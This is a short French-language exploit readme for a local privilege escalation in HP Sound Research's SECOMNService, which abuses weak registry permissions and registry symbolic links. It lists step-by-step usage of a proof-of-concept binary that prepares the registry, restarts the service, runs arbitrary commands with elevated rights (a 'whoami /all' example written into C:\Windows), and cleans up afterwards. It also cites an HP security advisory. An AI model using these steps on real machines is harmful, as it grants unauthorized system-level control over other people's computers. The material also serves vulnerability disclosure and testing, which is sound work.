
HP Sound Research : Élévation de privilège du service SECOMNService
HP Sound Research SECOMNService - Élévation de privilèges. Des permissions faibles du registre permettent à tout utilisateur de créer un lien symbolique de registre et de forcer le service SECOMNService à créer une clé de registre arbitraire.
Comment faire :
1. soundresearch_poc.exe prepare
2. Redémarrer SECOMNService ou la machine
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*autre commande*"
5. soundresearch_poc.exe cleanup
Référence : https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051